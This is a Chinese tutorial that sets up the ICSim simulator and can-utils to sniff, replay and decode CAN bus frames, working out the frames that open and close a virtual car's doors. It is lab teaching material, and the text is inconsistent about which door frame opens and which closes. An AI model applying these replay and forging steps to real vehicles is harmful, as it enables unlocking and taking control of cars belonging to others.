序
車聯(lián)網(wǎng)安全是目前較為熱門的發(fā)展方向,但是由于他的入門門檻太高(沒有實(shí)車)導(dǎo)致大部分人被卡在門檻這里。所以我總結(jié)了網(wǎng)上的相關(guān)資料寫出這篇文章,可以讓學(xué)習(xí)車聯(lián)網(wǎng)安全的同學(xué)來模擬控制一輛車是什么樣的感覺,本篇文章通過Ubuntu模擬了車載CAN總線的收發(fā)包來進(jìn)行操作學(xué)習(xí),接下來跟著我一步步操作來打開車聯(lián)網(wǎng)安全的大門吧!
什么是CAN總線
CAN總線又稱控制器局域網(wǎng)是Controller Area Network的縮寫,CAN總線是一種功能豐富的車用總線標(biāo)準(zhǔn)。被設(shè)計(jì)用于在不需要主機(jī)(Host)的情況下,允許網(wǎng)絡(luò)上的單片機(jī)和儀器相互通信。它基于消息傳遞協(xié)議,設(shè)計(jì)之初在車輛上采用復(fù)用通信線纜,以降低銅線使用量,后來也被其他行業(yè)所使用。簡(jiǎn)單來說就是用來控制車輛功能的通信協(xié)議,比如車門解鎖、轉(zhuǎn)向燈、剎車、油門等,為什么要使用CAN協(xié)議,簡(jiǎn)單來說就是便宜好用。
CAN總線特性
安全性:CAN是低級(jí)協(xié)議,不支持任何內(nèi)在的安全功能。在標(biāo)準(zhǔn)的CAN中也沒有加密,這使得這些網(wǎng)絡(luò)數(shù)據(jù)能被截取。在大多數(shù)應(yīng)用中,應(yīng)用程序需要部署自己的安全機(jī)制,例如認(rèn)證傳入命令或網(wǎng)絡(luò)上某些設(shè)備的存在。若不執(zhí)行適當(dāng)?shù)陌踩胧?,其他人可能設(shè)法在總線上插入消息。盡管一些安全關(guān)鍵功能(如修改固件,編程鍵或控制防抱死制動(dòng))存在密碼,但這些系統(tǒng)并未普遍實(shí)施,并且密鑰對(duì)的數(shù)量有限。
通信機(jī)制:多主機(jī)-即每個(gè)節(jié)點(diǎn)都有接入總線的能力。
尋址機(jī)制:消息區(qū)別:不設(shè)節(jié)點(diǎn)的地址,通過消息的標(biāo)志符來區(qū)別消息。
幀類型:數(shù)據(jù)幀、遠(yuǎn)程幀、錯(cuò)誤幀、超載幀、幀間隔
攻擊方式:
應(yīng)用報(bào)文模糊測(cè)試
Dos攻擊測(cè)試
重放攻擊
由于CAN總線上面的數(shù)據(jù)包沒有任何加密,所以這些數(shù)據(jù)包能夠被截取竊聽。由于車載網(wǎng)絡(luò)使用CAN協(xié)議進(jìn)行通信,所以我們可以聯(lián)想到車聯(lián)的功能也是通過CAN網(wǎng)絡(luò)進(jìn)行數(shù)據(jù)發(fā)送和交換。比如我們打開左轉(zhuǎn)向燈,那么電信號(hào)就會(huì)通過CAN總線發(fā)送到網(wǎng)絡(luò)上的每個(gè)設(shè)備,然后左轉(zhuǎn)向燈會(huì)解釋數(shù)據(jù)包并且執(zhí)行數(shù)據(jù)包中的指令。
在網(wǎng)絡(luò)上發(fā)送的數(shù)據(jù)包由兩部分組成:標(biāo)識(shí)符和數(shù)據(jù)。標(biāo)識(shí)符是車輛中設(shè)備的表示。數(shù)據(jù)字段表示要與所述設(shè)備一起完成的指令。讓我們看下面的例子:
(1668496788.311506)vcan0095#800007F400000017
數(shù)據(jù)包的開始部分是標(biāo)識(shí)符。在這種情況下,標(biāo)識(shí)符是095。#之后的數(shù)據(jù)包剩余部分是數(shù)據(jù)字段。可以看下Wireshark抓到的包標(biāo)識(shí)符在不同車型,相同車型不同年份的情況下也是不相同的,如果是相同車型相同年份的車型那么標(biāo)識(shí)符大概率是通用的,不同的標(biāo)識(shí)符表示車上不同的設(shè)備發(fā)的包,后面我們需要找到我們想要控制車輛功能的標(biāo)識(shí)符包。
攻擊方式
在前面CAN總線特性處我們寫的CAN總線攻擊方式包括應(yīng)用報(bào)文模糊測(cè)試、Dos攻擊測(cè)試、重放攻擊等,接下來我們來實(shí)操一下重放攻擊,顧名思義就是可以截取數(shù)據(jù)包然后重新發(fā)送導(dǎo)致車輛處于我們的控制之下而不受到車輛所有人的操控。
安裝工具
kali2022.03
ICSim (儀表盤模擬器)
Socketcand(CAN網(wǎng)絡(luò))
Kayak(一款基于SocketCAN的CAN總線分析工具)
can-utils
ICSim是一個(gè)開源的車輛儀表模擬器,該模擬器包含controls和ICSim兩個(gè)模塊,其中controls負(fù)責(zé)生成模擬的車輛數(shù)據(jù),以CAN報(bào)文的方式發(fā)送給虛擬的CAN接口,ICSim從虛擬CAN接口讀取CAN報(bào)文,并在儀表上更新對(duì)應(yīng)零件的狀態(tài),如車速、車門狀態(tài)等等。
安裝依賴
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf
安裝ICSim
下載
git clone https://github.com/zombieCraig/ICSim.git
編譯
cd ICSim/ sudo make

安裝socketcand
下載
git clone https://github.com/linux-can/socketcand.git
獲取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in

編譯安裝
cd socketcand/ autoconf

./configure

make clean

make

sudo make install

安裝Kayak
下載
git clone https://github.com/dschanoeh/Kayak.git
安裝
cd Kayak/ mvn clean package

安裝CAN Utils
can-utils是一套Linux特有的實(shí)用工具,它可以讓Linux與車輛上的CAN網(wǎng)絡(luò)進(jìn)行通信,為了發(fā)送、接收和分析CAN數(shù)據(jù)包,需要安裝CAN utils。canutils主要包括5個(gè)經(jīng)常使用的工具:
cansniffer 用于嗅探數(shù)據(jù)包
cansend 發(fā)送一條數(shù)據(jù)
candump 轉(zhuǎn)儲(chǔ)所有接收的數(shù)據(jù)包
canplayer 重播CAN數(shù)據(jù)包
cangen 隨機(jī)生成CAN數(shù)據(jù)包這可以通過apt-get安裝:
sudo apt-get install can-utils -y
至此,全部安裝完畢。
開始攻擊
首先設(shè)置vcan(虛擬CAN)接口
sudomodprobecan sudomodprobevcan sudoiplinkadddevvcan0typevcan sudoiplinksetupvcan0
打開儀表盤模擬器
./icsim vcan0
打開儀表盤控制器
./controls vcan0
點(diǎn)擊儀表盤控制器界面就可以模擬操縱車輛了。
功能 | 控制按鈕 |
---|---|
轉(zhuǎn)向燈 | 鍵盤左右鍵 |
速度 | 鍵盤上下鍵 |
開車門 | 右SHIFT鍵+A |
關(guān)車門 | 左SHIFT鍵+A |
開啟全部車門 | 左SHIFT鍵+右SHIFT鍵 |
關(guān)閉全部車門 | 右SHIFT鍵+左SHIFT鍵 |
使用candump進(jìn)行抓包
candump vcan0 -l
CTRL+C停止看到抓到的包,由于CAN在不停的通信所以包會(huì)非常大。
接下來我們找到CAN網(wǎng)絡(luò)上面控制車輛的數(shù)據(jù)包對(duì)他進(jìn)行攻擊。監(jiān)聽抓包,然后打開所有車門然后關(guān)閉。抓到了一萬多個(gè)包。
嘗試重放我們的包
canplayer -I candump-2022-11-15_052559.log
可以看到全部車門打開隨即關(guān)閉。接下來我們采用二分法每次刪除一半來查找關(guān)閉車門的包。
最終通過二分法找到打開所有車門的包為:
(1668507963.222323) vcan0 19B#000000000000
其中的19B是設(shè)備標(biāo)識(shí)符,在數(shù)據(jù)包中查找19B。
└─$ grep 19B candump-2022-11-15_052559.log (1668507960.512530) vcan0 244#000000019B (1668507962.233563) vcan0 19B#00000F000000 (1668507963.222323) vcan0 19B#000000000000 (1668507963.517110) vcan0 244#000000019B (1668507964.208966) vcan0 19B#00000F000000 (1668507965.319056) vcan0 244#000000019B
我們可以看到其中有一個(gè)19B#00000F000000,如果我們得到19B#000000000000是打開所有車門,那么后面我們也進(jìn)行了關(guān)閉所有車門的操作,可以猜測(cè)19B#00000F000000是關(guān)閉所有車門。
可以看到上圖,我們成功關(guān)閉了所有車門。
如上可知這個(gè)數(shù)據(jù)包中通過第三位字節(jié)來控制。
(1668507962.233563) vcan0 19B#00000F000000 //打開所有車門 (1668507963.222323) vcan0 19B#000000000000 //關(guān)閉所有車門
鎖上所有門的數(shù)據(jù)包將半字節(jié)表示為十六進(jìn)制F。將其分解為二進(jìn)制可得出 16 種可能的門組合。
二進(jìn)制 | 十六進(jìn)制 |
---|---|
0000 | 0 |
0001 | 1 |
0010 | 2 |
0011 | 3 |
0100 | 4 |
0101 | 5 |
0110 | 6 |
0111 | 7 |
1000 | 8 |
1001 | 9 |
1010 | a |
1011 | b |
1100 | c |
1101 | d |
1110 | e |
1111 | f |
嘗試字符控制的不同車門。
字符 | 車門 |
---|---|
8 | 右后車門 |
4 | 左后車門 |
2 | 右前車門 |
1 | 左前車門 |
假設(shè)1是鎖門的動(dòng)作,0是解鎖門的動(dòng)作。因此,當(dāng)我們識(shí)別我們的門時(shí),識(shí)別出的門會(huì)收到鎖門的指令,而其他門會(huì)收到解鎖的指令。比如字符8的二進(jìn)制是1000那么就是鎖門,開門,開門,開門。
右后車門 左后車門 右前車門 左前車門 8 4 2 1 1 1 0 0 等于 C
可以嘗試查看C是不是關(guān)閉了后排兩個(gè)門,打開了前排兩個(gè)門。至此,就可以操控每個(gè)門的開關(guān)了。同理,轉(zhuǎn)向和油門都是相同原理。
責(zé)任編輯:彭菁
-
編程
+關(guān)注
關(guān)注
88文章
3673瀏覽量
94693 -
車聯(lián)網(wǎng)
+關(guān)注
關(guān)注
76文章
2622瀏覽量
92303 -
網(wǎng)絡(luò)數(shù)據(jù)
+關(guān)注
關(guān)注
1文章
44瀏覽量
10207
原文標(biāo)題:車聯(lián)網(wǎng)安全入門之仿真一輛車的通信網(wǎng)絡(luò)
文章出處:【微信號(hào):談思實(shí)驗(yàn)室,微信公眾號(hào):談思實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
直擊物聯(lián)網(wǎng)安全問題:機(jī)智云與斗象科技建物聯(lián)網(wǎng)安全實(shí)驗(yàn)室
如何保障物聯(lián)網(wǎng)設(shè)備安全
物聯(lián)網(wǎng)面臨的安全問題
電子門鎖將開啟新時(shí)代物聯(lián)網(wǎng)生活的大門
物聯(lián)網(wǎng)安全與每一個(gè)人緊密相關(guān)
凹杯散熱專利 打開高功率LED通往一般照明的大門

ISM波段遠(yuǎn)程無鑰匙進(jìn)入系統(tǒng)增加了不同應(yīng)用的價(jià)值

密碼朋克是如何打開加密貨幣神秘大門的
利用傳感器技術(shù)在汽車落水后可自動(dòng)打開車頂
物聯(lián)網(wǎng)怎樣助力采礦安全
華為公開車聯(lián)網(wǎng)安全通信的方法專利
沒有鑰匙時(shí)怎么打開安全掛鎖
用手機(jī)APP和Wemos D1板打開大門或車庫(kù)

評(píng)論